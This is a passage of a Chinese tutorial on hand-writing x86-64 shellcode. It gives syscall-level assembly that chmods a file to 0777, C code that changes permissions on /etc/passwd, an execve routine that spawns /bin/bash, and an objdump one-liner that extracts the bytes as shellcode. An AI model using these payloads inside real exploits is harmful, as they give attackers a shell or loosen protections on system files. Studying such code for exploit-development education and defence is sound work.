在分析open函数时有讨论mode的取值,这里就不再分析
有时在shellcode中需要修改程序的权限
#include <sys/types.h>
#include <sys/stat.h>
main()
{
chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
CHMOD equ 90
EXIT equ 60
FILENAME db "xxx", 0x00
section .text
global _start
_start:
mov rax, CHMOD
mov rdi, FILENAME
mov rsi, 511
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x6 命令执行
system函数中的命令执行用的是syscall execve系统调用。其参数格式如下
调试system函数内部的参数调用可以看出rax是系统调用号,rdi是filename,rsi是字符串数组
字符串数组内存布局如下
section .data
EXECVE equ 59
FILENAME db "/bin/bash", 0x00
section .text
global _start
_start:
mov rax, EXECVE
mov rdi, FILENAME
mov rsi, 0
mov rdx, 0
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x7 shellcode 提取技巧
这里参照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump
objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'